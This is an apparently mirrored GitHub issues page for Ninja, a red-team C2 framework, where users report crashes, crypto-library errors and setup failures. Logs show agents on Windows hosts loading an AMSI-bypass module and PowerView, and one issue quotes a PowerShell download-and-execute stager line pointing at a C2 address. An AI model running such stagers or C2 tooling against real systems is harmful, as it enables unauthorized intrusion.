Coder Social home page Coder Social logo

ninja's Introduction

Welcome to ahmedkhlief Repo , Enjoy red and blue team projects created with passion

Askar's GitHub Stats

ninja's People

Contributors

ahmedkhlief avatar zabuqasem avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

ninja's Issues

Deprecated pycrypto module

From python3.10 and above, the pycrypto module is causing many issues and breaking in many scenarios. So I think it's a good idea to consider replacing it with the new replacement -> pycryptodome in order to mitigate possible new issues from users.

DA command failed

DA command failed...

[+] New Agent Request Module ASBBypass.ps1 (0 - twice)
[+] Agent (0) - twice@WORKGROUP\DESKTOP-RSVRVGV send Result
True

[~] NKUOC-img.jpeg:load PowerView.ps1              
[+] New Agent Request Module PowerView.ps1 (0 - twice)
[+] Agent (0) - twice@WORKGROUP\DESKTOP-RSVRVGV send Result

[~] NKUOC-img.jpeg:load DA.ps1     
[+] New Agent Request Module DA.ps1 (0 - twice)
[+] Agent (0) - twice@WORKGROUP\DESKTOP-RSVRVGV send Result
Exception calling "FindAll" with "0" argument(s): "Unknown error (0x80005000)"
At line:6331 char:20
+             else { $Results = $CompSearcher.FindAll() }
+                    ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : NotSpecified: (:) [], MethodInvocationException
    + FullyQualifiedErrorId : COMException
 

also let me know if u need any assistance testing against EDRs. I can help u with that.
In addition, consider adding proxy sock dynamic tunneling.

Fixed ! Error after executing "Ninja.py"

sec (1)

If you have same error as me
Just execute command "sudo apt install mono-devel"

Note : if you go up you could find line wich conatins
Error for executing " mono-csc ... "
This cause when mono-devel is not installed on your host

Upload download

Upload/Download commands seems not to be working! Running it on Ubuntu 20.04
Here is output:
(Ninja : Agent(2)-WIN-QQ80VPAFRNH) [~] MQKWZ-img.jpeg:load download.ps1
[+] New Agent Request Module download.ps1 (2 - *Administrator)
[+] Agent (2) - *Administrator@WORKGROUP\WIN-QQ80VPAFRNH send Result

[~] MQKWZ-img.jpeg:dn -filename "work.xll"
[2022-01-06 23:22:13,113] ERROR in app: Exception on /axis [POST]
Traceback (most recent call last):
File "/usr/local/lib/python3.8/dist-packages/flask/app.py", line 2073, in wsgi_app
response = self.full_dispatch_request()
File "/usr/local/lib/python3.8/dist-packages/flask/app.py", line 1518, in full_dispatch_request
rv = self.handle_user_exception(e)
File "/usr/local/lib/python3.8/dist-packages/flask/app.py", line 1516, in full_dispatch_request
rv = self.dispatch_request()
File "/usr/local/lib/python3.8/dist-packages/flask/app.py", line 1502, in dispatch_request
return self.ensure_sync(self.view_functions[rule.endpoint])(**req.view_args)
File "/root/Ninja/core/webserver.py", line 292, in download
if AGENTS.get(id) != None and data != None:
NameError: name 'data' is not defined
[2022-01-06 23:22:13,990] ERROR in app: Exception on /axis [POST]
Traceback (most recent call last):
File "/usr/local/lib/python3.8/dist-packages/flask/app.py", line 2073, in wsgi_app
response = self.full_dispatch_request()
File "/usr/local/lib/python3.8/dist-packages/flask/app.py", line 1518, in full_dispatch_request
rv = self.handle_user_exception(e)
File "/usr/local/lib/python3.8/dist-packages/flask/app.py", line 1516, in full_dispatch_request
rv = self.dispatch_request()
File "/usr/local/lib/python3.8/dist-packages/flask/app.py", line 1502, in dispatch_request
return self.ensure_sync(self.view_functions[rule.endpoint])(**req.view_args)
File "/root/Ninja/core/webserver.py", line 292, in download
if AGENTS.get(id) != None and data != None:
NameError: name 'data' is not defined
(Ninja : Agent(2)-WIN-QQ80VPAFRNH) [+] Agent (2) - *Administrator@WORKGROUP\WIN-QQ80VPAFRNH send Result
Exception calling "UploadString" with "3" argument(s): "The remote server returned
an error: (500) Internal Server Error."
At line:29 char:12
Screenshot_20220107-002253

Can not run it

I'M trying to run it using Python2 , and getting the following error

root@root:~/Desktop/Ninja# python Ninja.py
Traceback (most recent call last):
File "Ninja.py", line 4, in
from core import webserver
File "/root/Desktop/Ninja/core/webserver.py", line 3, in
from core import config
ImportError: cannot import name config

Tried to install config module....

Running DA command crashes Ninja

Running DA command results in the following error every time.

Victim machine is a Windows 10 using the obfuscated powershell payload.

Ninja is running on Kali 2022.1

╭─────────────────────────────── Traceback (most recent call last) ────────────────────────────────╮
│ │
│ /home/kali/Ninja/Ninja.py:161 in │
│ │
│ 158 │ │ """Display banner""" │
│ 159 │ │ Ninja.Banner() │
│ 160 │ │ """Run Ninja""" │
│ ❱ 161 │ │ ninja.main() │
│ 162 │ except Exception: │
│ 163 │ │ console.print_exception() │
│ 164 │
│ /home/kali/Ninja/Ninja.py:139 in main │
│ │
│ 136 │ │ │ console.print("[!] Webshell list file doesn't exist.\n", style="red") │
│ 137 │ │ │
│ 138 │ │ """Start Ninja Command line""" │
│ ❱ 139 │ │ self.NinjaCMD() │
│ 140 │ │
│ 141 │ @staticmethod
│ 142 │ def Banner(): │
│ │
│ /home/kali/Ninja/Ninja.py:74 in NinjaCMD │
│ │
│ 71 │ │ │ │ │
│ 72 │ │ │ │ if bcommand: │
│ 73 │ │ │ │ │ if bcommand[0] in cmd.COMMANDS: │
│ ❱ 74 │ │ │ │ │ │ result = getattr(globals()'cmd', bcommand[0])(bcommand) │
│ 75 │ │ │ │ │ elif bcommand[ │
│ 76 │ │ │ │ │ │ 0] not in cmd.COMMANDS and config.POINTER != 'main' and config.P │
│ 77 │ │ │ │ │ │ config.COMMAND[config.POINTER].append(encrypt(AESKey, command.st │
│ │
│ /home/kali/Ninja/core/cmd.py:331 in DA │
│ │
│ 328 │ │ if config.Implant_Type != 'agent': │
│ 329 │ │ │ print("This command can only be used in agent mode") │
│ 330 │ │ │ return │
│ ❱ 331 │ │ config.COMMAND[config.get_pointer()].append(encrypt(config.AESKey, "load PowerVi │
│ 332 │ │ config.COMMAND[config.get_pointer()].append(encrypt(config.AESKey, "load DA.ps1" │
│ 333 │ │
│ 334 │ def kerb(self, args=None): │
│ │
│ /home/kali/Ninja/core/Encryption.py:63 in encrypt │
│ │
│ 60 │ if mod != 0: │
│ 61 │ │ newlen = len(data) + (16 - mod) │
│ 62 │ │ data = data.ljust(newlen, ' ') │
│ ❱ 63 │ aes = get_encryption(key, os.urandom(16)) │
│ 64 │ data = aes.IV + aes.encrypt(data.encode("utf-8")) │
│ 65 │ if not gzip: │
│ 66 │ │ data = base64.b64encode(data) │
│ │
│ /home/kali/Ninja/core/Encryption.py:11 in get_encryption │
│ │
│ 8 │ from Crypto.Cipher import AES │
│ 9 │ iv = os.urandom(AES.block_size) │
│ 10 │ bkey = base64.b64decode(key) │
│ ❱ 11 │ aes = AES.new(bkey, AES.MODE_CBC, iv) │
│ 12 │ return aes │
│ 13 │
│ 14 │
│ │
│ /usr/local/lib/python3.10/dist-packages/Crypto/Cipher/AES.py:95 in new │
│ │
│ 92 │ │
│ 93 │ :Return: an AESCipher object │
│ 94 │ """ │
│ ❱ 95 │ return AESCipher(key, *args, **kwargs) │
│ 96 │
│ 97 #: Electronic Code Book (ECB). See blockalgo.MODE_ECB. │
│ 98 MODE_ECB = 1 │
│ │
│ /usr/local/lib/python3.10/dist-packages/Crypto/Cipher/AES.py:59 in init
│ │
│ 56 │ │ """Initialize an AES cipher object │
│ 57 │ │ │
│ 58 │ │ See also new() at the module level.""" │
│ ❱ 59 │ │ blockalgo.BlockAlgo.init(self, _AES, key, *args, **kwargs) │
│ 60 │
│ 61 def new(key, *args, **kwargs): │
│ 62 │ """Create a new AES cipher │
│ │
│ /usr/local/lib/python3.10/dist-packages/Crypto/Cipher/blockalgo.py:141 in init
│ │
│ 138 │ │ self.block_size = factory.block_size │
│ 139 │ │ │
│ 140 │ │ if self.mode != MODE_OPENPGP: │
│ ❱ 141 │ │ │ self._cipher = factory.new(key, *args, **kwargs) │
│ 142 │ │ │ self.IV = self._cipher.IV │
│ 143 │ │ else: │
│ 144 │ │ │ # OPENPGP mode. For details, see 13.9 in RCC4880. │
╰──────────────────────────────────────────────────────────────────────────────────────────────────╯
SystemError: PY_SSIZE_T_CLEAN macro must be defined for '#' formats

Motificate python 3.10.*

Hello goodnight.
I'm having problems using c2 Ninja due to the python 3.10 update and I end up getting the error: SystemError: PY_SSIZE_T_CLEAN macro must be defined for '#' formats

upload not working over 50% of the time

Uploading files doesn't always work for some reason. Does anyone know why this happens?

(Ninja : Agent(0)-DESKTOP-092N7BQ) upload payload.ps1
(Ninja : Agent(0)-DESKTOP-092N7BQ) [~] MYPAX-img.jpeg:load upload.ps1 
[+] New Agent Request Module upload.ps1 (0 - <redacted>)
[+] Agent (0) -  <redacted>@WORKGROUP\DESKTOP-092N7BQ send Result

[~] MYPAX-img.jpeg:up -filename "payload.ps1"      
[-] Download: ljust() argument 2 must be a byte string of length 1, not str
[+] Agent (0) -  <redacted>@WORKGROUP\DESKTOP-092N7BQ send Result
Exception calling "CreateDecryptor" with "0" argument(s): "The cipher mode specified 
requires that an initialization vector (IV) be used."
At line:43 char:1
+ $d = $FileName.CreateDecryptor()
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : NotSpecified: (:) [], MethodInvocationException
    + FullyQualifiedErrorId : CryptographicException

Ninja C2 Won't run , Syntax Erros

Hey Sir ;
everytime i try to run the Ninja.py Script it gave me a problem , so i think there's still some error Codes
anyone can help ?
Capture

SyntaxError: invalid syntax

hi brother, happy ramadan. thanks for such a great tool, it will really help me. in last version (1.1) I had a problem about crypto
happily in this version I didn't face it but I have another problem. can u help me in fixing it ?

└─$ python start_campaign.py
Urls will be used in this campaign
raw_payload='/interface'
b52_payload='/jbossws'
b64_stager='/ws'
b52_stager='/inspection'
hjf_payload='/operations'
b64_payload='/ServiceDefinition'
hjfs_payload='/services'
sct_payload='/wsgw'
hta_payload='/extwsdl'
register_url='/svce'
download_url='/admin'
upload_url='/uddisoap'
image_url='/xmethods'
command_url='/default'
result_url='/names'
modules_url='/manual'
Enter a DN/IP:port for this campaign 192.168.1.33:5050
Traceback (most recent call last):
File "start_campaign.py", line 153, in
get_ip()
File "start_campaign.py", line 63, in get_ip
CC = input('Enter a DN/IP:port for this campaign ')
File "", line 1
192.168.1.33:5050
^
SyntaxError: invalid syntax

plus , can u help me about how can I use ngrok with this ? I will be very thankful if u note something about that too !

code problem

(Ninja : main) list
[-] ERROR(main): 'utf8' codec can't decode byte 0xb0 in position 24: invalid start byte

I used win7 to run the powershell, but can't use LIST option.
+------------------------------------------------------------+
(Ninja : main) [+] New Agent Request HTA PAYLOAD (221.237.18.248)
[+] STAGER PAYLOAD Send (192.168.199.1)
[+] BASE64 Powershell PAYLOAD Send (192.168.199.1)
[+] New Agent Connected(0): 221.237.18.248 - WORKGROUP*Administrator
[+] New Agent Request HTA PAYLOAD (192.168.199.1)

Required packages error in requirements.txt

Hi,

In the file requirements.txt, the last requirement mentioned as "ypykatz" has been misspelled as it can't be installed. I assume that the required package was "pypykatz". Can someone please confirm.

Thanks.

Error while starting

Hi

When I start Ninja I get this error:

┌──(root@kali)-[/usr/local/share/Ninja]
└─# python3.8 Ninja.py
Traceback (most recent call last):
File "Ninja.py", line 6, in
from core import config
ImportError: bad magic number in 'core': b'\x03\xf3\r\n'

Thanks

Powershell Exception calling "ParseExact"

Nice job on the update. I tried the new version 1.1, and am encountering the following issue:
Entered command: IEX(New-Object Net.WebClient).DownloadString('http://192.168.1.1:1234/atom');

Exception calling "ParseExact" with "3" argument(s): "String was not recognized as a valid DateTime."
At line:112 char:1

  • $kdate = [datetime]::ParseExact("","dd/MM/yyyy",$null)
  •   + CategoryInfo          : NotSpecified: (:) [], MethodInvocationException
      + FullyQualifiedErrorId : FormatException
    
    

The dropper.exe is also exiting immediately, seems like there's an issue with the passed down powershell command.

Ninja does not start

Hi,
After running install and adding configs for start_campaign.py I then run the Ninja.py command but server does not start
It loops back to start_campaign.py
image

python error

Hi, I am having this error when trying to start Ninja.py

Traceback (most recent call last):
File "Ninja.py", line 12, in
from core import webserver
File "/root/Ninja/core/webserver.py", line 17, in
from flask import *
ImportError: No module named flask

Payload is not executed?

Hello,

After running the payloads I get no beacon back. I do get that the malicious link was reached and a new request happened for HTA payload but that is it.

python3 Ninja.py

Traceback (most recent call last):
File "/root/Ninja/Ninja.py", line 19, in
from core import webserver
File "/root/Ninja/core/webserver.py", line 16, in
from pypykatz.pypykatz import pypykatz
File "/usr/local/lib/python3.9/dist-packages/pypykatz/pypykatz.py", line 8, in
from .commons.common import *
File "/usr/local/lib/python3.9/dist-packages/pypykatz/commons/common.py", line 10, in
from .readers.local.common.version import PROCESSOR_ARCHITECTURE
File "/usr/local/lib/python3.9/dist-packages/pypykatz/commons/readers/local/common/version.py", line 37, in
from .defines import *
File "/usr/local/lib/python3.9/dist-packages/pypykatz/commons/readers/local/common/defines.py", line 74, in
WINFUNCTYPE = ctypes.WINFUNCTYPE
AttributeError: module 'ctypes' has no attribute 'WINFUNCTYPE'

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.